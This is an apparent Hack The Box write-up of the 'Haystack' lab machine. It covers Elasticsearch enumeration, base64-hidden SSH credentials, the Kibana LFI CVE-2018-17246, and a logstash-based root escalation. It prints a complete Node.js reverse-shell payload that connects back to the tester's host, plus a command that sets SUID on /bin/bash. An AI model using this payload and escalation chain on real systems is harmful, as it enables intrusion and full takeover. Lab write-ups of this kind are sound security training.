HTB - Haystack

Easy Machine

Enumeration

We beggin with our usual nmap scan

sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.115 -oG allPorts

sudo nmap -p22,80,9200 -sCV 10.10.10.115 -oN Targeted

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 23:39 CEST
Nmap scan report for 10.10.10.115
Host is up (0.042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a8de2928b14b63fe42f3a4743238b2b (RSA)
|   256 e75a3a978e8e728769a30dd100bc1f09 (ECDSA)
|_  256 01d259b2660a9749205f1c84eb81ed95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.12.2
9200/tcp open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
| http-methods: 
|_  Potentially risky methods: DELETE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds

We find an image "needle.jpg" on port 80, we then download it and move it to our work directory

mv ~/Downloads/Descargas/needle.jpg .

Using exiftool does not give much information

However, using strings command, reveals the following:

strings -n 10 needle.jpg

bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

Decoding it:

echo 'bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==' | base64 -d

We see --> "la aguja en el pajar es "clave"%"

Which in spanish means, the needle in the haystack is "key"

Now its time of some fuzzing. This time we didn´t find anything on port 80, but we remember that we got port 9200 open:

wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.115:9200/FUZZ

The output says:

000000687: 200 0 L 1 W 338 Ch "quotes"

000003642: 200 0 L 1 W 1010 Ch "bank"

000007004: 200 0 L 1 W 2 Ch "checkout"

000016413: 200 0 L 1 W 4136 Ch ""*

000015463: 200 0 L 1 W 2 Ch "docroot"

SSH as User Security

With a simple search, we find out some interesting way of listing ElasticSearch´s /quotes content

http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000

There was a lot of content, so I tried grepping "key" or "clave" (in spanish)

curl 'http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000' > haystack.txt
cat haystack.txt| grep "clave"

We find the following output:

"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="

"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

Again, decoding the base64 strings reveals the following:

❯ echo 'cGFzczogc3BhbmlzaC5pcy5rZXk=' | base64 -d
pass: spanish.is.key%

❯ echo 'dXNlcjogc2VjdXJpdHkg' |base64 -d
user: security %

Seems like we found some creds valid for an ssh connection

security:spanish.is.key

Shell as Kibana

While Enumerating the system we see there´s a user named kibana. It pops out different, as kibana is a data visualization plugin for Elasticsearch.

I went back one second to see if I could find some versions on port 9200 in order to search for an exploit:

"version" : {
    "number" : "6.4.2"

I then check for vulnerabilites for Elasticsearch version 6.4.2, and I found one interesting exploit:

https://github.com/mpgn/CVE-2018-17246

It´s a simple LFI, in wich by using a js script, I could run that scripts as kibana user.

My payload consisted on the following:

[security@haystack tmp]$ cat kraken.js 
(function(){ 
    var net = require("net"), 
        cp = require("child_process"), 
        sh = cp.spawn("/bin/sh", []); 
    var client = new net.Socket(); 
    client.connect(443, "10.10.14.12", function(){ 
        client.pipe(sh.stdin); 
        sh.stdout.pipe(client); 
        sh.stderr.pipe(client); 
    }); 
    return /a/; // Prevents the Node.js application form crashing 
})(); 

Kibana was running on port 5600, so I had to port forward Haystack´s port 5600 to my parrot:

ssh> -L 5601:localhost:5601

Now by visiting the next URL i get a shell as Kibana user:

http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/kraken.js

Shell as Root

Searching for files owned by Kibana group I find logstash files:

find / -group kibana 2>/dev/null

Checking files under /etc/logstash/conf.d I find three files:

Input.conf, filter.conf & output.conf

Analysing the three files I jumped into the conclusion that input.conf is taking files under /opt/kibana/ whose names are logstash_*, checking it every 10 seconds, setting type to executable.

I decided to test this, so I created a file called logstash_kraken which will change bash to SUID under /opt/kibana that matches the format that filter.conf was asking for:

bash-4.2$ cat /opt/kibana/logstash_kraken
cat /opt/kibana/logstash_kraken
Ejecutar comando : chmod u+s /bin/bash
bash-4.2$

After waiting a bit, we got bash SUID, and just by doing bash -p, we can pop up a bash root shell

bash-4.2$ ls -la /bin/bash 
ls -la /bin/bash
-rwsr-xr-x. 1 root root 964608 oct 30 2018 /bin/bash

bash-4.2$ bash -p 
bash -p 

bash-4.2# whoami
whoami
root

That´s all for todays write up, hope you enjoyed this first write up altough Images were not included, this will be fixed for further write ups. 👏

You can use my social media to leave me your thoughts about the write ups 👍

Twitter: https://twitter.com/KrakenEU_
Linkedin: https://www.linkedin.com/in/i%C3%B1aki-tornos-572580177/
Github: https://github.com/KrakenEU/